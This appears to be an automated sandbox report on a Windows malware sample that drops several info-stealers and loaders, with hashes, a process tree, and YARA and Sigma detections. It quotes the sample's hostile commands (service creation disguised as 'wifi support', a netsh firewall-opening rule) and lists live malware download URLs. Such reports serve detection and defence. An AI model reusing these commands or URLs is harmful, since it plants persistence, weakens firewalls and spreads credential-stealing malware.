Play interactive tour

Edit tour

Windows Analysis Report t7p1ekMto0.exe

Overview

General Information

Sample Name:	t7p1ekMto0.exe
Analysis ID:	470624
MD5:	82d057e1eb74021d270cead3be27d9fb
SHA1:	b3c2f6d63488a1a0947a3572bea950cfb5505dee
SHA256:	9dad1f618e1ebf28e43f4af049feb9d75a03b139a63bdd1901f51497fd4ed50b
Tags:	CoinMinerexe
Infos:
Most interesting Screenshot:

Detection

Ades Stealer Raccoon RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Vidar

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Yara detected Ades Stealer

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Telegram RAT

Yara detected Vidar stealer

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Contains functionality to capture screen (.Net source)

.NET source code references suspicious native API functions

Changes security center settings (notifications, updates, antivirus, firewall)

Binary or sample is protected by dotNetProtector

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Machine Learning detection for dropped file

Modifies the windows firewall

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Connects to many different domains

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

t7p1ekMto0.exe (PID: 6612 cmdline: 'C:\Users\user\Desktop\t7p1ekMto0.exe' MD5: 82D057E1EB74021D270CEAD3BE27D9FB)

t7p1ekMto0.exe (PID: 6652 cmdline: 'C:\Users\user\Desktop\t7p1ekMto0.exe' MD5: 82D057E1EB74021D270CEAD3BE27D9FB)

explorer.exe (PID: 3388 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

5AF4.exe (PID: 6808 cmdline: C:\Users\user\AppData\Local\Temp\5AF4.exe MD5: A69E12607D01237460808FA1709E5E86)

6209.exe (PID: 2392 cmdline: C:\Users\user\AppData\Local\Temp\6209.exe MD5: 5C8050E907434066C6857344215641A4)

WerFault.exe (PID: 5848 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2392 -s 768 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

66AE.exe (PID: 1564 cmdline: C:\Users\user\AppData\Local\Temp\66AE.exe MD5: 68D5331A8418C4089BB7C0F524C77728)

AgileDotNetProtector.exe (PID: 5836 cmdline: 'C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe' MD5: 0273F470F69E65F8DAF2D941A758E244)

CPU.exe (PID: 5972 cmdline: 'C:\Users\user\AppData\Local\Temp\CPU.exe' MD5: CF09F5D2105F7FCAAAADFFF6E6060036)

6A0A.exe (PID: 1056 cmdline: C:\Users\user\AppData\Local\Temp\6A0A.exe MD5: BF40705CBA9708182B61956985895005)

76BD.exe (PID: 6288 cmdline: C:\Users\user\AppData\Local\Temp\76BD.exe MD5: 9AA6DD10E0BFB49BAA17F04F44B9DCD3)

conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

7DF2.exe (PID: 3464 cmdline: C:\Users\user\AppData\Local\Temp\7DF2.exe MD5: B08DC3C44C7F8DBD008936EDA82C3A04)

cmd.exe (PID: 6020 cmdline: 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\vauvbnqt\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6056 cmdline: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 3412 cmdline: 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support' MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2208 cmdline: 'C:\Windows\System32\sc.exe' description vauvbnqt 'wifi internet conection' MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 1288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6228 cmdline: 'C:\Windows\System32\sc.exe' start vauvbnqt MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 5588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 4180 cmdline: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

85C3.exe (PID: 5724 cmdline: C:\Users\user\AppData\Local\Temp\85C3.exe MD5: 86D9744F028D3A67EC7AC52F3F8FFAEB)

svchost.exe (PID: 6688 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6776 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1304 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4804 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5624 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4068 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5376 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 2780 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6172 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6472 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

wshgiwf (PID: 6400 cmdline: C:\Users\user\AppData\Roaming\wshgiwf MD5: 82D057E1EB74021D270CEAD3BE27D9FB)

wshgiwf (PID: 5220 cmdline: C:\Users\user\AppData\Roaming\wshgiwf MD5: 82D057E1EB74021D270CEAD3BE27D9FB)

svchost.exe (PID: 592 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 3008 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 5416 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wisvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\76BD.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001F.00000002.403838599.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000019.00000002.473202977.00000000024DD000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000020.00000000.403386190.0000000000492000.00000002.00020000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000001.00000002.311292534.00000000006A1000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.365865503.0000000002030000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000019.00000002.477885557.0000000004060000.00000040.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001E.00000003.398935339.0000000004900000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000001F.00000003.401300307.00000000049B0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000000.391036397.0000000000252000.00000020.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000019.00000003.388452160.0000000004100000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.311232901.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000012.00000002.365919916.00000000022F1000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001F.00000002.408866213.0000000004920000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: 6209.exe PID: 2392	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
Process Memory Space: 66AE.exe PID: 1564	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
Process Memory Space: 66AE.exe PID: 1564	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: 66AE.exe PID: 1564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6A0A.exe PID: 1056	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 6A0A.exe PID: 1056	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 76BD.exe PID: 6288	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 7DF2.exe PID: 3464	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
30.2.7DF2.exe.2f00e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
30.2.7DF2.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
23.0.6209.exe.4920e50.4.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
30.2.7DF2.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.2.t7p1ekMto0.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.1.wshgiwf.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.3.6209.exe.49c0000.0.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
23.3.6209.exe.49c0000.0.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
25.2.6A0A.exe.4060e50.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
24.2.66AE.exe.2970250.1.raw.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.2970250.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.2970250.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
24.2.66AE.exe.2970250.1.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.2970250.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.2970250.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
24.2.66AE.exe.2970000.2.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.2970000.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.2970000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
18.2.wshgiwf.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
23.0.6209.exe.4920e50.2.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
23.0.6209.exe.4920e50.2.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.2.66AE.exe.2970000.2.raw.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.2970000.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.2970000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
24.2.66AE.exe.12be8b50.11.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.12be8b50.11.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.12be8b50.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
25.3.6A0A.exe.4100000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
25.2.6A0A.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
23.0.6209.exe.400000.3.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.2.66AE.exe.12be8900.12.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.12be8900.12.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.12be8900.12.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
23.0.6209.exe.400000.1.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
24.2.66AE.exe.12be8b50.11.raw.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.12be8b50.11.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.12be8b50.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
30.3.7DF2.exe.4900000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.1.t7p1ekMto0.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
28.0.76BD.exe.250000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
25.2.6A0A.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
25.2.6A0A.exe.4060e50.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
23.0.6209.exe.4920e50.4.raw.unpack	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
25.3.6A0A.exe.4100000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
24.2.66AE.exe.12be8900.12.raw.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.12be8900.12.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.12be8900.12.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
24.2.66AE.exe.12c74088.13.raw.unpack	JoeSecurity_AdesStealer	Yara detected Ades Stealer	Joe Security
24.2.66AE.exe.12c74088.13.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
24.2.66AE.exe.12c74088.13.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 45 entries

Sigma Overview

System Summary:

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\, CommandLine: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentImage: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentProcessId: 3464, ProcessCommandLine: 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\nruqclie.exe' C:\Windows\SysWOW64\vauvbnqt\, ProcessId: 6056

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, CommandLine: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentImage: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentProcessId: 3464, ProcessCommandLine: 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul, ProcessId: 4180

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support', CommandLine: 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support', CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentImage: C:\Users\user\AppData\Local\Temp\7DF2.exe, ParentProcessId: 3464, ProcessCommandLine: 'C:\Windows\System32\sc.exe' create vauvbnqt binPath= 'C:\Windows\SysWOW64\vauvbnqt\nruqclie.exe /d\'C:\Users\user\AppData\Local\Temp\7DF2.exe\'' type= own start= auto DisplayName= 'wifi support', ProcessId: 3412

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 23.0.6209.exe.4920e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.403838599.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.401300307.00000000049B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.408866213.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6209.exe PID: 2392, type: MEMORYSTR

Antivirus detection for URL or domain

Show sources

Source: http://readinglistforaugust3.xyz/	Avira URL Cloud: Label: malware
Source: http://readinglistforaugust3.xyz/reestr.exe	Avira URL Cloud: Label: malware
Source: http://readinglistforaugust3.xyz/raccon.exe	Avira URL Cloud: Label: malware
Source: http://185.49.70.90:2080/5.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe

Avira: detection malicious, Label: HEUR/AGEN.1141820

Multi AV Scanner detection for submitted file

Show sources

Source: t7p1ekMto0.exe

ReversingLabs: Detection: 47%

Machine Learning detection for sample

Show sources

Source: t7p1ekMto0.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\GPU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\85C3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\AgileDotNetProtector.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\76BD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CPU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6209.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Joe Sandbox ML: detected

Source: 30.2.7DF2.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 25.2.6A0A.exe.4060e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 28.0.76BD.exe.250000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 25.3.6A0A.exe.4100000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 30.2.7DF2.exe.2f00e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 30.3.7DF2.exe.4900000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

